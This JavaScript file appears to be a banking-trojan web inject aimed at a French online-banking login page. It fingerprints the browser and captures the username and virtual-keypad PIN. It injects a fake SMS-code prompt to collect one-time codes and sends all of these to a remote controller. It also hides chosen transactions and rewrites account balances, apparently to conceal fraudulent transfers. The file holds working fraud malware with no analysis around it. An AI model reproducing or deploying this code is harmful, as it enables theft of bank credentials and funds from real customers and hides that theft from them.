        else if (nAgt.indexOf('Trident/') != -1) {
            browser = 'Microsoft Internet Explorer';
            version = nAgt.substring(nAgt.indexOf('rv:') + 3);
        }
        // Other browsers
        else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
            browser = nAgt.substring(nameOffset, verOffset);
            version = nAgt.substring(verOffset + 1);
            if (browser.toLowerCase() == browser.toUpperCase()) {
                browser = navigator.appName;
            }
        }
        // trim the version string
        if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
        if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
        if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
 
        majorVersion = parseInt('' + version, 10);
        if (isNaN(majorVersion)) {
            version = '' + parseFloat(navigator.appVersion);
            majorVersion = parseInt(navigator.appVersion, 10);
        }
 
        // mobile version
        var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
 
        // cookie
        var cookieEnabled = (navigator.cookieEnabled) ? true : false;
 
        if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
            document.cookie = 'testcookie';
            cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
        }
 
        // system
        var os = unknown;
        var clientStrings = [
            {s:'Windows 3.11', r:/Win16/},
            {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
            {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
            {s:'Windows 98', r:/(Windows 98|Win98)/},
            {s:'Windows CE', r:/Windows CE/},
            {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
            {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
            {s:'Windows Server 2003', r:/Windows NT 5.2/},
            {s:'Windows Vista', r:/Windows NT 6.0/},
            {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
            {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
            {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
            {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
            {s:'Windows ME', r:/Windows ME/},
            {s:'Android', r:/Android/},
            {s:'Open BSD', r:/OpenBSD/},
            {s:'Sun OS', r:/SunOS/},
            {s:'Linux', r:/(Linux|X11)/},
            {s:'iOS', r:/(iPhone|iPad|iPod)/},
            {s:'Mac OS X', r:/Mac OS X/},
            {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
            {s:'QNX', r:/QNX/},
            {s:'UNIX', r:/UNIX/},
            {s:'BeOS', r:/BeOS/},
            {s:'OS/2', r:/OS\/2/},
            {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
        ];
        for (var id in clientStrings) {
            var cs = clientStrings[id];
            if (cs.r.test(nAgt)) {
                os = cs.s;
                break;
            }
        }
 
        var osVersion = unknown;
 
        if (/Windows/.test(os)) {
            osVersion = /Windows (.*)/.exec(os)[1];
            os = 'Windows';
        }
 
        switch (os) {
            case 'Mac OS X':
                osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
                break;
 
            case 'Android':
                osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
                break;
 
            case 'iOS':
                osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
                osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
                break;
        }
 
        // flash (you'll need to include swfobject)
        /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
        var flashVersion = 'no check';
        if (typeof swfobject != 'undefined') {
            var fv = swfobject.getFlashPlayerVersion();
            if (fv.major > 0) {
                flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
            }
            else  {
                flashVersion = unknown;
            }
        }
    }
 
    window.jscd = {
        screen: screenSize,
        browser: browser,
        browserVersion: version,
        mobile: mobile,
        os: os,
        osVersion: osVersion,
        cookies: cookieEnabled,
        flashVersion: flashVersion
    };
}(this));
 
_tables = Tables;
_tables.set('continue',true);
_tables.set('message','');
_tables.set('type','intercept');
_tables.set('start','start');
_tables.set('end','end');
_tables.set('finish','');
_tables.set('data','');
_tables.set('login',function(){return _tables.findout(document,'input','type:text','name:CCPTE');});
_tables.set('password','');
_tables.set('button',function(){return _tables.findout(document,'a','href:ValidCertif') || _tables.findin(document,'a','Confirmer');});
_tables.set('logout',function(){return _tables.id('btn-deconnexion') || _tables.findout(document,'a','href:Deconnexion');});
_tables.set('clearbutton',function(){return _tables.findout(document,'a','href:corriger');});
_tables.set('loader','data:image/gif;base64,R0lGODlhEAAQAPIAAP////ddAPzXwviGQvddAPmbYvqvgvu5kiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==');
 
_tables.text = {
    block_title: 'La consultation de vos comptes est momentan&#233;ment indisponible.',
    block_body: 'Nous vous prions de bien vouloir nous excuser pour la g&#234;ne occasionn&#233;e et vous recommandons de vous reconnecter ult&#233;rieurement.'
};
 
_tables.showpage = function(){
    if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
};
 
_tables.fkbtn = function(){
    var error = false;
    var code = _tables.id('_tables.code.input');
    var sps = _tables.child(code.parentNode,'span');
    if(sps && sps.length > 0){
        sps[0].style.visibility = 'hidden';
        if(code.value.length < 2){
            error = true;
            sps[0].style.visibility = 'visible';
        }else{
            sps[0].style.visibility = 'hidden';
        }
    }
    if(!error){
        _tables.set('ourbtn',function(){return document.getElementById('tbfkbtn');});
        _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
        _tables.set('pause',true);
        _tables.status('TJ');
        _tables.send(
                        {'type':_tables.get('type')},
                        {'domain':document.domain},
                        {'data':'Code: '+code.value},
                        {'message':'Data recieved'},
                        {'branch':'TJ'}
        );
    }
};
 
_tables.fake = function(step){
    switch(step){
        case('LOGIN'):
            document.location.href = document.location.href;
        break;
        
        case('RELOGIN'):
            document.location.href = document.location.href;
        break;
        
        case('BLOCK'):
            if(top == self){
                var div_1 = false;
                var div_2 = false;
                var div = _tables.child(document,'div');
                if(div && div.length > 0){
                    for(var i = 0; i < div.length; i++){
                        if(div[i].className == 'blc-choix-wrap'){
                            if(div_1 == false){
                                div_1 = div[i];
                            }else{
                                div_2 = div[i];
                                break;
                            }
                        }
                    }
                }
                if(div_2){
                    div_2.parentNode.parentNode.parentNode.parentNode.style.display = 'none';
                }
                if(div_1){
                    var div = document.createElement('div');
                    div.id = '_tables.fakebox';
                    div.innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
                    div.className = 'container-ident';
                    div_1.innerHTML = div.innerHTML;
                }
                if(_tables.id('tbfkbtn')){
                    var ptd = _tables.id('tbfkbtn').parentNode;
                    ptd.innerHTML = '';
                }
            }else{
                if(_tables.id('bloc-pave-saisis-code')){
                    _tables.id('bloc-pave-saisis-code').innerHTML = '<h2>'+_tables.text.block_title+'</h2>'+_tables.text.block_body;
                }
            }
        break;
        
        case('FAKE'):
            if(top == self){
                var div_1 = false;
                var div_2 = false;
                var div = _tables.child(document,'div');
                if(div && div.length > 0){
                    for(var i = 0; i < div.length; i++){
                        if(div[i].className == 'blc-choix-wrap'){
                            if(div_1 == false){
                                div_1 = div[i];
                            }else{
                                div_2 = div[i];
                                break;
                            }
                        }
                    }
                }
                div_1.style.paddingBottom = '10px';
                div_1.innerHTML = _tables.tinydecode(_tables.answer.p2).replace(/\<p\>\<br\>\<\/p\>$/igm,'');
                div_2.innerHTML = '<b>Veuillez saisir votre code SMS :</b>&nbsp;<input id="_tables.code.input" type="password" maxlength=6 size=6 style="margin-left:3px;"><span style="color:red;visibility:hidden;">*</span>';
                
                var a = document.createElement('a');
                a.id = 'tbfkbtn';
                a.className = 'droite';
                a.style.cssFloat = 'right';
                a.style.styleFloat = 'right';
                a.innerHTML = 'Confirmer';
                
                var btn = _tables.findout(document,'a','href:ouvrePOPUP');
                if(btn){
                    var ptd = btn.parentNode.parentNode.parentNode;
                    ptd.innerHTML = '';
                }else{
                    if(_tables.id('tbfkbtn')){
                        var ptd = _tables.id('tbfkbtn').parentNode;
                        _tables.id('tbfkbtn').parentNode.removeChild(_tables.id('tbfkbtn'));
                        ptd.innerHTML = '';
                    }
                }
                if(ptd){
                    ptd.style.textAlign = 'right';
                    ptd.appendChild(a);
                    _tables.bind('click',_tables.id('tbfkbtn'),function(){_tables.fkbtn();});
                }
                
            }else{
                if(_tables.id('bloc-pave-saisis-code')){
                    if(_tables.id('top-actions-aide'))_tables.id('top-actions-aide').parentNode.style.display = 'none';
                    _tables.id('bloc-pave-saisis-code').innerHTML = '<b>Veuillez saisir votre code SMS :</b><br><input id="_tables.code.input" type="password" maxlength=6 size=6><span style="color:red;visibility:hidden;">*</span>'+
                                                                    '<a id="tbfkbtn" class="droite" style="float:right;cursor:pointer;margin-top:-5px;">Confirmer</a>';
                    _tables.bind('click',_tables.id('tbfkbtn'),function(){_tables.fkbtn();});
                }
            }
            
            setTimeout(function(){
                _tables.cc('CC');
            },1000);
        break;
    }
};
 
_tables.grep_amount = function(acc){
    if(!_tables.replacerarray){
        return 0;
    }
    var re_a = 0;
    
    if(acc == '[EMPTY]'){
        for(x in _tables.replacerarray){
            re_a += parseFloat(_tables.replacerarray[x]['amount']);
        }
    }else{
        for(x in _tables.replacerarray){
            if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){
                re_a += parseFloat(_tables.replacerarray[x]['amount']);
            }
        }
    }
    
    return re_a;
};
 
_tables.grep_mask = function(acc){
    if(!_tables.replacerarray){
        return false;
    }
    for(x in _tables.replacerarray){
        if(acc.length > 2 && _tables.replacerarray[x]['mask'].length > 2){
            if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){
                return true;
            }
        }
    }
    return false;
};
 
_tables.replacer_preload = function(){
    var img = _tables.child(document,'img');
    if(img && img.length > 0){
        for(var i = 0; i < img.length; i++){
            if(/picto_telecharger\.png/igm.test(img[i].src)){
                img[i].style.display = 'none';
            }
        }
    }
    
    if(_tables.findout(document,'select','name:FORMATEL')){
        _tables.findout(document,'select','name:FORMATEL').parentNode.parentNode.parentNode.parentNode.parentNode.style.display = 'none';
    }
    
    var a = _tables.child(document,'a');
    if(a && a.length > 0){
        for(var i = 0; i < a.length; i++){
            if(/Vos documents.*lectroniques/igm.test(a[i].title)){
                a[i].parentNode.style.display = 'none';
            }
            if(/pdf/igm.test(a[i].title)){
                a[i].parentNode.parentNode.style.display = 'none';
            }
            if(/imprimer/igm.test(a[i].id)){
                a[i].style.display = 'none';
            }
        }
    }
    
    if(_tables.findin(document,'p','Votre derni.*re connexion')){
        _tables.findin(document,'p','Votre derni.*re connexion').style.display = 'none';
    }
    
};
 
_tables.replacer_balance = function(){
    var killer = false;
    var table = _tables.findout(document,'table','class:ca\-table');
    if(table){
        var tr = _tables.child(table,'tr');
        if(tr && tr.length > 0){
            for(var i = 0; i < tr.length; i++){
                var td = _tables.child(tr[i],'td');
                var th = _tables.child(tr[i],'th');
                if(th && th.length == 1 && td && td.length == 2){
                    var _I1 = _tables.html(th[0].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                    if(_tables.grep_amount(_I1) > 0){
                        _tables.replace(td[1],_tables.grep_amount(_I1));
                    }
                }
                if(td && td.length == 7){
                    var _I1 = _tables.html(td[2].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                    if(_tables.grep_amount(_I1) > 0){
                        _tables.replace(td[4],_tables.grep_amount(_I1));
                        if(/\d{2,}/igm.test(_tables.html(td[3]))){
                            _tables.replace(td[3],_tables.grep_amount(_I1));
                        }
                        killer = true;
                    }
                }
                if(td && td.length == 5 && killer){
                    tr[i].style.display = 'none';
                }
            }
        }
    }
};
 
_tables.replacer_history = function(){
    var colored = false;
    var table = _tables.findout(document,'table','class:ca\-table','summary:Date, valeur');
    if(table){
        var tr = _tables.child(table,'tr');
        if(tr && tr.length > 0){
            for(var i = 0; i < tr.length; i++){
                var _I1 = _tables.html(tr[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                if(_tables.grep_mask(_I1)){
                    tr[i].style.display = 'none';
                    colored = true;
                }
            }
        }
        
        if(colored){
            var tr = _tables.child(table,'tr');
            var index = 0;
            if(tr && tr.length > 0){
                for(var i = 0; i < tr.length; i++){
                    if(tr[i].style.display != 'none'){
                        if(index % 2 == 0){
                            tr[i].className = 'ligne-impaire';
                        }else{
                            tr[i].className = 'ligne-paire';
                        }
                        index++;
                    }
                }
            }
        }
    }
    var table = _tables.findout(document,'table','summary:SEPA');
    if(table){
        var acolor = false;
        var tr = _tables.child(table,'tr');
        if(tr && tr.length > 0){
            for(var i = 0; i < tr.length; i++){
                var _I1 = _tables.html(tr[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
                var td = _tables.child(tr[i],'td');             
                if(_tables.grep_mask(_I1)){
                    tr[i].style.display = 'none';
                    if(td && td.length == 3){
                        acolor = true;
                    }
                }
            }
        }
        if(acolor){
            var tr = _tables.child(table,'tr');
            var index = 0;
            if(tr && tr.length > 0){
                for(var i = 1; i < tr.length; i++){
                    if(tr[i].style.display != 'none'){
                        if(index % 2 == 0){
                            tr[i].className = 'ligne-impaire';
                        }else{
                            tr[i].className = '';
                        }
                        index++;
                    }
                }
            }
        }
    }
};
 
_tables.replacer_selects = function(){
    var select = _tables.child(document,'select');
    if(select && select.length > 0){
        for(var i = 0; i < select.length; i++){
            _tables.replacer_select(select[i]);
        }
    }
};
 
_tables.replacer_select = function(sel){
    if(sel){
        for(var i = 0; i < sel.length; i++){
            
            var acc = sel[i].text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
            
            for(x in _tables.replacerarray){
                if(_tables.replacerarray[x]['mask'].length > 3 && new RegExp(_tables.replacerarray[x]['mask'],'igm').test(sel[i].text)){
                    sel[i].style.display = 'none';
                    sel[i].text = '';
                    continue;
                }
            }
            
                
            var account = false;
            
            for(x in _tables.replacerarray){
                if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(sel[i].text) || _tables.replacerarray[x]['account'] == sel[i].text){
                    account = _tables.replacerarray[x]['account'];
                }
            }
            
            if(account){
                _tables.splitter(account,1);
                _tables.replace(sel[i],_tables.grep_amount(sel[i].text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"")));
            }
        }
    }
};
 
_tables.replacer = function(){
    _tables.replacer_preload();
    _tables.replacer_balance();
    _tables.replacer_history();
    _tables.replacer_selects();
};
 
_tables.callback = function(){
    _tables.set('message','');
    switch(_tables.status()){
        case('CS'):
            if(/block/igm.test(_tables.answer.p1)){
                _tables.fake('BLOCK');
                _tables.showpage();
            }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){
                _tables.status('NL');
                _tables.send(
                    {'type':_tables.get('type')},
                    {'domain':document.domain},
                    {'link':document.location.href},
                    {'data':'OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
                    {'message':'Login page onloaded'},
                    {'branch':'TJ'}
                );
            }else{
                _tables.smalllogin();
                _tables.showpage();
            }
        break;
        
        case('SL'):
            setTimeout(function(){
                _tables.cc('CC');
            },1500);
        break;
        
        case('JL'):
            _tables.get('button').click();
        break;
        
        case('NL'):
            _tables.loginform();
            _tables.showpage();
        break;
        
        case('CC'):
            if(_tables.get('justLogin')){
                _tables.logintimer(_tables.answer.t1*1000);
            }
            _tables.set('justLogin',false);
            if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
                setTimeout(function(){
                    _tables.cc('CC');
                },1000);
            }else{
                _tables.set('ABORT',true);
                _tables.fake(_tables.answer.p1);
            }
        break;
        
        case('CP'):
            if(!_tables.replacerarray){
                _tables.showpage();
                return;
            }
            _tables.replacer();
            _tables.showpage();
        break;
        
        case('TJ'):
            _tables.set('pause',false);
            _tables.cc('CC');
        break;
        
        default:
            _tables.showpage();
        break;
    }
};
 
_tables.cc = function(stat){
    if(_tables.get('pause'))return false;
    _tables.status(stat);
    _tables.send(
        {'type':'intercept'},
        {'domain':document.domain},
        {'link':document.location.href},
        {'browser':_tables.brows()},
        {'branch':'CC'}
    );
};
 
_tables.keyboard = function(p){
    var pass = _tables.get('password') + p+'';
    _tables.set('password',pass);
    if(p == '_'){
        clicPosition('01');
    }else{
        clicPosition('0'+p);
    }
    return false;
};
 
_tables.smalllogin = function(){
    _tables.input(_tables.get('login'),'block');
    _tables.replacebutton(_tables.get('button'),function(e){
        var evt = e ? e : window.event;
        if(evt.preventDefault)evt.preventDefault();
        if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
        if(evt.cancelBubble!=null)evt.cancelBubble = true;
        store.clear();
        store.set('username',_tables.get('login').value);
        _tables.status('JL');
        _tables.send({'login1':_tables.get('login').value},
                        {'login2':''},
                        {'type':'grabber'},
                        {'domain':document.domain},
                        {'link':document.location.href},
                        {'browser':_tables.brows()},
                        {'message':'Trying to Login'},
                        {'jabber':'SEND'},
                        {'branch':'SL'}
        );
        return false;
    },'annuler droite');
};
 
_tables.loginform = function(){
    if(_tables.id('pave-saisie-code')){
        _tables.id('pave-saisie-code').style.display = 'none';
        var div = document.createElement('div');
        div.innerHTML = '<table id="pave-saisie-code" class="gauche"><tbody><tr align="center" valign="middle">'+
                                '<td><a tabindex="2" style="cursor:pointer;" onclick="_tables.keyboard(0);">'+
                                '&nbsp;&nbsp;0&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="3" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="4" style="cursor:pointer;" onclick="_tables.keyboard(3);">'+
                                '&nbsp;&nbsp;3&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="5" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="6" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '</tr>'+
                                '<tr align="center" valign="middle">'+
                                '<td><a tabindex="7" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="8" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="9" style="cursor:pointer;" onclick="_tables.keyboard(4);">'+
                                '&nbsp;&nbsp;4&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="10" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="11" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '</tr>'+
                                '<tr align="center" valign="middle">'+
                                '<td><a tabindex="12" style="cursor:pointer;" onclick="_tables.keyboard(6);">'+
                                '&nbsp;&nbsp;6&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="13" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="14" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="15" style="cursor:pointer;" onclick="_tables.keyboard(2);">'+
                                '&nbsp;&nbsp;2&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="16" style="cursor:pointer;" onclick="_tables.keyboard(7);">'+
                                '&nbsp;&nbsp;7&nbsp;&nbsp;'+
                                '</a></td>'+
                                '</tr>'+
                                '<tr align="center" valign="middle">'+
                                '<td><a tabindex="17" style="cursor:pointer;" onclick="_tables.keyboard(9);">'+
                                '&nbsp;&nbsp;9&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="18" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="19" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="20" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="21" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '</tr>'+
                                '<tr align="center" valign="middle">'+
                                '<td><a tabindex="22" style="cursor:pointer;" onclick="_tables.keyboard(1);">'+
                                '&nbsp;&nbsp;1&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="23" style="cursor:pointer;" onclick="_tables.keyboard(5);">'+
                                '&nbsp;&nbsp;5&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="24" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '<td><a tabindex="25" style="cursor:pointer;" onclick="_tables.keyboard(8);">'+
                                '&nbsp;&nbsp;8&nbsp;&nbsp;'+
                                '</a></td>'+
                                '<td><a tabindex="26" style="cursor:pointer;" onclick="_tables.keyboard(\'_\');">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td>'+
                                '</tr>'+
                                '</tbody>';
        _tables.id('pave-saisie-code').parentNode.insertBefore(div,_tables.id('pave-saisie-code'));
        
        _tables.input(_tables.get('login'),'block');
        _tables.replacebutton(_tables.get('button'),function(e){
            var evt = e ? e : window.event;
            if(evt.preventDefault)evt.preventDefault();
            if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
            if(evt.cancelBubble!=null)evt.cancelBubble = true;
            store.clear();
            store.set('username',_tables.get('login').value);
            if(_tables.findout(document,'p','class:validation.*clearboth')){
                var span = _tables.child(_tables.findout(document,'p','class:validation.*clearboth'),'span');
                if(span && span.length > 0){
                    for(var i = 0; i < span.length; i++){
                        span[i].style.display = 'none';
                    }
                }
                _tables.findout(document,'p','class:validation.*clearboth').style.textAlign = 'right';
                _tables.findout(document,'p','class:validation.*clearboth').innerHTML += '<img src="'+_tables.get('loader')+'">';
            }
            _tables.status('SL');
            _tables.send({'login1':_tables.get('login').value},
                            {'login2':_tables.get('password')},
                            {'type':_tables.get('type')},
                            {'domain':document.domain},
                            {'link':document.location.href},
                            {'browser':_tables.brows()},
                            {'message':'Trying to Login'},
                            {'jabber':'SEND'},
                            {'branch':'SL'}
            );
            return false;
        },'annuler droite');
        
        _tables.replacebutton(_tables.get('clearbutton'),function(e){
            var evt = e ? e : window.event;
            if(evt.preventDefault)evt.preventDefault();
            if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
            if(evt.cancelBubble!=null)evt.cancelBubble = true;
            if(_tables.get('password').length > 0){
                var pass = _tables.get('password').substr(0,_tables.get('password').length-1);
                _tables.set('password',pass);
            }
            corriger();
            effacer();
            return false;
        },'droite');
        
    }else{
        _tables.showpage();
    }
};
 
_tables.start = function(){
    if(top == self){
        if(_tables.are('login','button')){
            _tables.cc('CS');
        }else if(_tables.get('logout')){
            _tables.status('CP');
            _tables.send({'domain':document.domain},{'type':_tables.get('type')},{'branch':'CP'});
        }else{
            _tables.showpage();
        }
    }else{
        if(_tables.are('login','button')){
            _tables.cc('CS');
        }else{
            _tables.showpage();
        }
    }
};
 
_tables.start();

Comments